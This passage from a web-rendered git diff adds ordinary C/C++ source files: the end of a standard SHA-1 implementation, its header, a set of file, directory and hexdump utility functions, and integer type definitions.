A = temp;
|
||||||
|
}
|
||||||
|
|
||||||
|
for(t = 60; t < 80; t++)
|
||||||
|
{
|
||||||
|
temp = SHA1CircularShift(5,A) + (B ^ C ^ D) + E + W[t] + K[3];
|
||||||
|
temp &= 0xFFFFFFFF;
|
||||||
|
E = D;
|
||||||
|
D = C;
|
||||||
|
C = SHA1CircularShift(30,B);
|
||||||
|
B = A;
|
||||||
|
A = temp;
|
||||||
|
}
|
||||||
|
|
||||||
|
context->Message_Digest[0] =
|
||||||
|
(context->Message_Digest[0] + A) & 0xFFFFFFFF;
|
||||||
|
context->Message_Digest[1] =
|
||||||
|
(context->Message_Digest[1] + B) & 0xFFFFFFFF;
|
||||||
|
context->Message_Digest[2] =
|
||||||
|
(context->Message_Digest[2] + C) & 0xFFFFFFFF;
|
||||||
|
context->Message_Digest[3] =
|
||||||
|
(context->Message_Digest[3] + D) & 0xFFFFFFFF;
|
||||||
|
context->Message_Digest[4] =
|
||||||
|
(context->Message_Digest[4] + E) & 0xFFFFFFFF;
|
||||||
|
|
||||||
|
context->Message_Block_Index = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* SHA1PadMessage
|
||||||
|
*
|
||||||
|
* Description:
|
||||||
|
* According to the standard, the message must be padded to an even
|
||||||
|
* 512 bits. The first padding bit must be a '1'. The last 64
|
||||||
|
* bits represent the length of the original message. All bits in
|
||||||
|
* between should be 0. This function will pad the message
|
||||||
|
* according to those rules by filling the Message_Block array
|
||||||
|
* accordingly. It will also call SHA1ProcessMessageBlock()
|
||||||
|
* appropriately. When it returns, it can be assumed that the
|
||||||
|
* message digest has been computed.
|
||||||
|
*
|
||||||
|
* Parameters:
|
||||||
|
* context: [in/out]
|
||||||
|
* The context to pad
|
||||||
|
*
|
||||||
|
* Returns:
|
||||||
|
* Nothing.
|
||||||
|
*
|
||||||
|
* Comments:
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
void SHA1PadMessage(SHA1Context *context)
|
||||||
|
{
|
||||||
|
/*
|
||||||
|
* Check to see if the current message block is too small to hold
|
||||||
|
* the initial padding bits and length. If so, we will pad the
|
||||||
|
* block, process it, and then continue padding into a second
|
||||||
|
* block.
|
||||||
|
*/
|
||||||
|
if (context->Message_Block_Index > 55)
|
||||||
|
{
|
||||||
|
context->Message_Block[context->Message_Block_Index++] = 0x80;
|
||||||
|
while(context->Message_Block_Index < 64)
|
||||||
|
{
|
||||||
|
context->Message_Block[context->Message_Block_Index++] = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
SHA1ProcessMessageBlock(context);
|
||||||
|
|
||||||
|
while(context->Message_Block_Index < 56)
|
||||||
|
{
|
||||||
|
context->Message_Block[context->Message_Block_Index++] = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
context->Message_Block[context->Message_Block_Index++] = 0x80;
|
||||||
|
while(context->Message_Block_Index < 56)
|
||||||
|
{
|
||||||
|
context->Message_Block[context->Message_Block_Index++] = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Store the message length as the last 8 octets
|
||||||
|
*/
|
||||||
|
context->Message_Block[56] = (context->Length_High >> 24) & 0xFF;
|
||||||
|
context->Message_Block[57] = (context->Length_High >> 16) & 0xFF;
|
||||||
|
context->Message_Block[58] = (context->Length_High >> 8) & 0xFF;
|
||||||
|
context->Message_Block[59] = (context->Length_High) & 0xFF;
|
||||||
|
context->Message_Block[60] = (context->Length_Low >> 24) & 0xFF;
|
||||||
|
context->Message_Block[61] = (context->Length_Low >> 16) & 0xFF;
|
||||||
|
context->Message_Block[62] = (context->Length_Low >> 8) & 0xFF;
|
||||||
|
context->Message_Block[63] = (context->Length_Low) & 0xFF;
|
||||||
|
|
||||||
|
SHA1ProcessMessageBlock(context);
|
||||||
|
}
|
33
source/sha1.h
Normal file
33
source/sha1.h
Normal file
@ -0,0 +1,33 @@
|
|||||||
|
|
||||||
|
#ifndef _SHA1_H_
|
||||||
|
#define _SHA1_H_
|
||||||
|
|
||||||
|
/*
|
||||||
|
* This structure will hold context information for the hashing
|
||||||
|
* operation
|
||||||
|
*/
|
||||||
|
typedef struct SHA1Context
|
||||||
|
{
|
||||||
|
unsigned Message_Digest[5]; /* Message Digest (output) */
|
||||||
|
|
||||||
|
unsigned Length_Low; /* Message length in bits */
|
||||||
|
unsigned Length_High; /* Message length in bits */
|
||||||
|
|
||||||
|
unsigned char Message_Block[64]; /* 512-bit message blocks */
|
||||||
|
int Message_Block_Index; /* Index into message block array */
|
||||||
|
|
||||||
|
int Computed; /* Is the digest computed? */
|
||||||
|
int Corrupted; /* Is the message digest corruped? */
|
||||||
|
} SHA1Context;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Function Prototypes
|
||||||
|
*/
|
||||||
|
void SHA1Reset(SHA1Context *);
|
||||||
|
int SHA1Result(SHA1Context *);
|
||||||
|
void SHA1Input( SHA1Context *,
|
||||||
|
const unsigned char *,
|
||||||
|
unsigned);
|
||||||
|
|
||||||
|
|
||||||
|
#endif
|
261
source/tools.cpp
Normal file
261
source/tools.cpp
Normal file
@ -0,0 +1,261 @@
|
|||||||
|
/***************************************************************************
|
||||||
|
* Copyright (C) 2011
|
||||||
|
* by giantpune
|
||||||
|
*
|
||||||
|
* This software is provided 'as-is', without any express or implied
|
||||||
|
* warranty. In no event will the authors be held liable for any
|
||||||
|
* damages arising from the use of this software.
|
||||||
|
*
|
||||||
|
* Permission is granted to anyone to use this software for any
|
||||||
|
* purpose, including commercial applications, and to alter it and
|
||||||
|
* redistribute it freely, subject to the following restrictions:
|
||||||
|
*
|
||||||
|
* 1. The origin of this software must not be misrepresented; you
|
||||||
|
* must not claim that you wrote the original software. If you use
|
||||||
|
* this software in a product, an acknowledgment in the product
|
||||||
|
* documentation would be appreciated but is not required.
|
||||||
|
*
|
||||||
|
* 2. Altered source versions must be plainly marked as such, and
|
||||||
|
* must not be misrepresented as being the original software.
|
||||||
|
*
|
||||||
|
* 3. This notice may not be removed or altered from any source
|
||||||
|
* distribution.
|
||||||
|
*
|
||||||
|
***************************************************************************/
|
||||||
|
|
||||||
|
#include "tools.h"
|
||||||
|
|
||||||
|
#include <errno.h>
|
||||||
|
#include <iostream>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <dirent.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef WIN32
|
||||||
|
#define MKDIR( x, y ) \
|
||||||
|
mkdir( x )
|
||||||
|
#else
|
||||||
|
#define MKDIR( x, y ) \
|
||||||
|
mkdir( x, y )
|
||||||
|
#endif
|
||||||
|
|
||||||
|
void PutU16Str( u8* buf, const string &str )
|
||||||
|
{
|
||||||
|
u32 len = str.size() + 1;
|
||||||
|
for( u32 i = 0; i < len; i++ )
|
||||||
|
{
|
||||||
|
wbe16( buf + ( i << 1 ), str[ i ] );
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline char ascii( char s )
|
||||||
|
{
|
||||||
|
return ( ( s < 0x20 || s > 0x7e ) ? '.' : s );
|
||||||
|
}
|
||||||
|
|
||||||
|
#define HDUMP_FILE stdout
|
||||||
|
void hexdump( const void *d, int len )
|
||||||
|
{
|
||||||
|
unsigned char *data = (unsigned char*)d;
|
||||||
|
const char *space = " ";
|
||||||
|
const char *nl = "\n";
|
||||||
|
int foo;
|
||||||
|
foo = fwrite( nl, 1, 1, HDUMP_FILE );
|
||||||
|
for( int off = 0; off < len; off += 16 )
|
||||||
|
{
|
||||||
|
fprintf( HDUMP_FILE, "%08x ", off );
|
||||||
|
for( int i = 0; i < 16; i++ )
|
||||||
|
{
|
||||||
|
if( ( i + 1 ) % 4 )
|
||||||
|
{
|
||||||
|
if ( ( i + off ) >= len )
|
||||||
|
foo = fwrite( space, 1, 2, HDUMP_FILE );
|
||||||
|
else
|
||||||
|
fprintf( HDUMP_FILE, "%02x", data[ off + i ] );
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if ( ( i + off ) >= len )
|
||||||
|
foo = fwrite( space, 1, 3, HDUMP_FILE );
|
||||||
|
else
|
||||||
|
fprintf( HDUMP_FILE, "%02x ", data[ off + i ] );
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
foo = fwrite( space, 1, 1, HDUMP_FILE );
|
||||||
|
for( int i = 0; i < 16; i++ )
|
||||||
|
{
|
||||||
|
if ( ( i + off ) >= len )
|
||||||
|
foo = fwrite( space, 1, 1, HDUMP_FILE );
|
||||||
|
else
|
||||||
|
fprintf( HDUMP_FILE, "%c", ascii( data[ off + i ] ) );
|
||||||
|
}
|
||||||
|
foo = fwrite( nl, 1, 1, HDUMP_FILE );
|
||||||
|
}
|
||||||
|
fflush( HDUMP_FILE );
|
||||||
|
(void)foo;
|
||||||
|
}
|
||||||
|
|
||||||
|
typedef struct stat Stat;
|
||||||
|
|
||||||
|
static int do_mkdir( const char *path, mode_t mode )
|
||||||
|
{
|
||||||
|
Stat st;
|
||||||
|
int status = 0;
|
||||||
|
|
||||||
|
if( stat( path, &st ) )
|
||||||
|
{
|
||||||
|
// Directory does not exist
|
||||||
|
if( MKDIR( path, mode ) )
|
||||||
|
status = -1;
|
||||||
|
}
|
||||||
|
else if( !S_ISDIR( st.st_mode ) )
|
||||||
|
{
|
||||||
|
errno = ENOTDIR;
|
||||||
|
status = -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return( status );
|
||||||
|
}
|
||||||
|
|
||||||
|
int MkPath( const char *path, mode_t mode )
|
||||||
|
{
|
||||||
|
if( !path )
|
||||||
|
{
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
char *pp;
|
||||||
|
char *sp;
|
||||||
|
int status = 0;
|
||||||
|
char *copypath = strdup( path );
|
||||||
|
|
||||||
|
if( !copypath )
|
||||||
|
{
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef WIN32
|
||||||
|
// skip base drive
|
||||||
|
pp = strchr( copypath, SEPC );
|
||||||
|
if( !pp )
|
||||||
|
{
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
pp = copypath;
|
||||||
|
#endif
|
||||||
|
while( !status && ( sp = strchr( pp, SEPC ) ) != 0 )
|
||||||
|
{
|
||||||
|
if( sp != pp )
|
||||||
|
{
|
||||||
|
*sp = '\0';
|
||||||
|
status = do_mkdir( copypath, mode );
|
||||||
|
*sp = SEPC;
|
||||||
|
}
|
||||||
|
pp = sp + 1;
|
||||||
|
}
|
||||||
|
if( !status && *pp )
|
||||||
|
{
|
||||||
|
status = do_mkdir( path, mode );
|
||||||
|
}
|
||||||
|
free( copypath );
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
|
||||||
|
#if 0
|
||||||
|
Buffer ReadFile( const string &path )
|
||||||
|
{
|
||||||
|
Stat filestat;
|
||||||
|
Buffer ret;
|
||||||
|
|
||||||
|
FILE *file = fopen( path.c_str(), "rb" );
|
||||||
|
if( !file )
|
||||||
|
{
|
||||||
|
cout << "ReadFile -> error opening file " << path << endl;
|
||||||
|
return Buffer();
|
||||||
|
}
|
||||||
|
|
||||||
|
if( fstat( fileno( file ), &filestat ) )
|
||||||
|
{
|
||||||
|
cout << "ReadFile -> can't stat " << path << endl;
|
||||||
|
fclose( file );
|
||||||
|
return Buffer();
|
||||||
|
}
|
||||||
|
|
||||||
|
ret.Resize( filestat.st_size );
|
||||||
|
if( (s64)ret.Size() != filestat.st_size )
|
||||||
|
{
|
||||||
|
cout << "ReadFile -> not enough memory"<< endl;
|
||||||
|
fclose( file );
|
||||||
|
return Buffer();
|
||||||
|
}
|
||||||
|
|
||||||
|
if( fread( ret.Data(), 1, filestat.st_size, file ) != (u32)filestat.st_size )
|
||||||
|
{
|
||||||
|
cout << "ReadFile -> error reading file " << path << endl;
|
||||||
|
fclose( file );
|
||||||
|
return Buffer();
|
||||||
|
}
|
||||||
|
|
||||||
|
fclose( file );
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
bool WriteFile( const string &path, const Buffer &ba )
|
||||||
|
{
|
||||||
|
FILE *fp = fopen( path.c_str(), "wb" );
|
||||||
|
if( !fp )
|
||||||
|
{
|
||||||
|
cout << "WriteFile -> can't open " << path << endl;
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if( fwrite( ba.ConstData(), 1, ba.Size(), fp ) != ba.Size() )
|
||||||
|
{
|
||||||
|
cout << "WriteFile -> error writing to " << path << endl;
|
||||||
|
fclose( fp );
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
fclose( fp );
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool DirExists( const string &path )
|
||||||
|
{
|
||||||
|
struct stat filestat;
|
||||||
|
if( !stat( path.c_str(), &filestat ) && ( ( filestat.st_mode ) & S_IFMT ) == S_IFDIR )
|
||||||
|
return true;
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool DirExists( const char *path )
|
||||||
|
{
|
||||||
|
struct stat filestat;
|
||||||
|
if( path && !stat( path, &filestat ) && ( ( filestat.st_mode ) & S_IFMT ) == S_IFDIR )
|
||||||
|
return true;
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
string ResolvePath( const string &path )
|
||||||
|
{
|
||||||
|
#ifdef WIN32 // fucking bill gates
|
||||||
|
char full[ _MAX_PATH ];
|
||||||
|
if( _fullpath( full, path.c_str(), _MAX_PATH ) )
|
||||||
|
{
|
||||||
|
return string( full );
|
||||||
|
}
|
||||||
|
return string();
|
||||||
|
#else
|
||||||
|
char actualpath[ PATH_MAX + 1 ];
|
||||||
|
if( realpath( path.c_str(), actualpath ) )
|
||||||
|
{
|
||||||
|
return string( actualpath );
|
||||||
|
}
|
||||||
|
return string();
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
87
source/tools.h
Normal file
87
source/tools.h
Normal file
@ -0,0 +1,87 @@
|
|||||||
|
#ifndef TOOLS_H
|
||||||
|
#define TOOLS_H
|
||||||
|
|
||||||
|
|
||||||
|
#include <iostream>
|
||||||
|
#include <sstream>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
#ifdef WIN32
|
||||||
|
#include <winsock2.h>
|
||||||
|
#else
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include "buffer.h"
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#define INC_FILE( x ) \
|
||||||
|
extern const u8 x []; \
|
||||||
|
extern const u32 x##_size;
|
||||||
|
|
||||||
|
// macros for printing pretty debug crap
|
||||||
|
#define NAME_WIDTH 30
|
||||||
|
|
||||||
|
#define TOSTR( x ) #x
|
||||||
|
#define STR( tok ) TOSTR( tok )
|
||||||
|
|
||||||
|
#define COUT_U32( x ) \
|
||||||
|
printf( " %-" STR( NAME_WIDTH ) "s: %08x\n", #x, x )
|
||||||
|
|
||||||
|
#define COUT_STR( x ) \
|
||||||
|
cout << left << " " << setw( NAME_WIDTH ) << #x << ": \"" << x << "\"" << endl
|
||||||
|
|
||||||
|
#define COUT_BUF( x, siz, chunk ) \
|
||||||
|
do \
|
||||||
|
{ \
|
||||||
|
Buffer x##h = x.ToHex(); \
|
||||||
|
string x##s( (const char*)x##h.ConstData(), ( siz ) << 1 ); \
|
||||||
|
u8 c = ( sizeof( chunk ) << 1 ); \
|
||||||
|
int l = x##s.size(); \
|
||||||
|
l += ( l / c ) - 1; \
|
||||||
|
for( int i = c; i < l; i += c + 1 ) \
|
||||||
|
{ \
|
||||||
|
x##s.insert( i, 1, '-' ); \
|
||||||
|
} \
|
||||||
|
cout << left << " " << setw( NAME_WIDTH ) << #x << ": " << x##s << endl; \
|
||||||
|
}while( 0 )
|
||||||
|
|
||||||
|
#define WRN \
|
||||||
|
cout << __PRETTY_FUNCTION__ << ": "
|
||||||
|
|
||||||
|
using namespace std;
|
||||||
|
|
||||||
|
inline u64 htonll( u64 v )
|
||||||
|
{
|
||||||
|
union
|
||||||
|
{
|
||||||
|
u32 lv[ 2 ];
|
||||||
|
u64 llv;
|
||||||
|
} u;
|
||||||
|
u.lv[ 0 ] = htonl( v >> 32 );
|
||||||
|
u.lv[ 1 ] = htonl( v & 0xFFFFFFFFULL );
|
||||||
|
return u.llv;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline void wbe64( void *ptr, u64 val ) { *(u64*)ptr = htonll( val ); }
|
||||||
|
inline void wbe32( void *ptr, u32 val ) { *(u32*)ptr = htonl( val ); }
|
||||||
|
inline void wbe16( void *ptr, u16 val ) { *(u16*)ptr = htons( val ); }
|
||||||
|
|
||||||
|
void PutU16Str( u8* buf, const std::string &str );
|
||||||
|
void hexdump( const void *d, int len );
|
||||||
|
|
||||||
|
bool WriteFile( const string &path, const Buffer &ba );
|
||||||
|
|
||||||
|
bool DirExists( const string &path );
|
||||||
|
bool DirExists( const char *path );
|
||||||
|
|
||||||
|
#if 0
|
||||||
|
Buffer ReadFile( const string &path );
|
||||||
|
#endif
|
||||||
|
|
||||||
|
int MkPath( const char *path, mode_t mode );
|
||||||
|
|
||||||
|
string ResolvePath( const string &path );
|
||||||
|
|
||||||
|
#endif // TOOLS_H
|
34
source/types.h
Normal file
34
source/types.h
Normal file
@ -0,0 +1,34 @@
|
|||||||
|
#ifndef TYPES_H
|
||||||
|
#define TYPES_H
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
typedef uint8_t u8;
|
||||||
|
typedef uint16_t u16;
|
||||||
|
typedef uint32_t u32;
|
||||||
|
typedef uint64_t u64;
|
||||||
|
|
||||||
|
typedef int8_t s8;
|
||||||
|
typedef int16_t s16;
|
||||||
|
typedef int32_t s32;
|
||||||
|
typedef int64_t s64;
|
||||||
|
|
||||||
|
typedef volatile u8 vu8;
|
||||||
|
typedef volatile u16 vu16;
|
||||||
|
typedef volatile u32 vu32;
|
||||||
|
typedef volatile u64 vu64;
|
||||||
|
|
||||||
|
typedef volatile s8 vs8;
|
||||||
|
typedef volatile s16 vs16;
|
||||||
|
typedef volatile s32 vs32;
|
||||||
|
typedef volatile s64 vs64;
|
||||||
|
|
||||||
|
typedef float f32;
|
||||||
|
typedef double f64;
|
||||||
|
|
||||||
|
typedef volatile f32 vf32;
|
||||||
|
typedef volatile f64 vf64;
|
||||||
|
|
||||||
|
#endif // TYPES_H
|
Loading…
Reference in New Issue
Block a user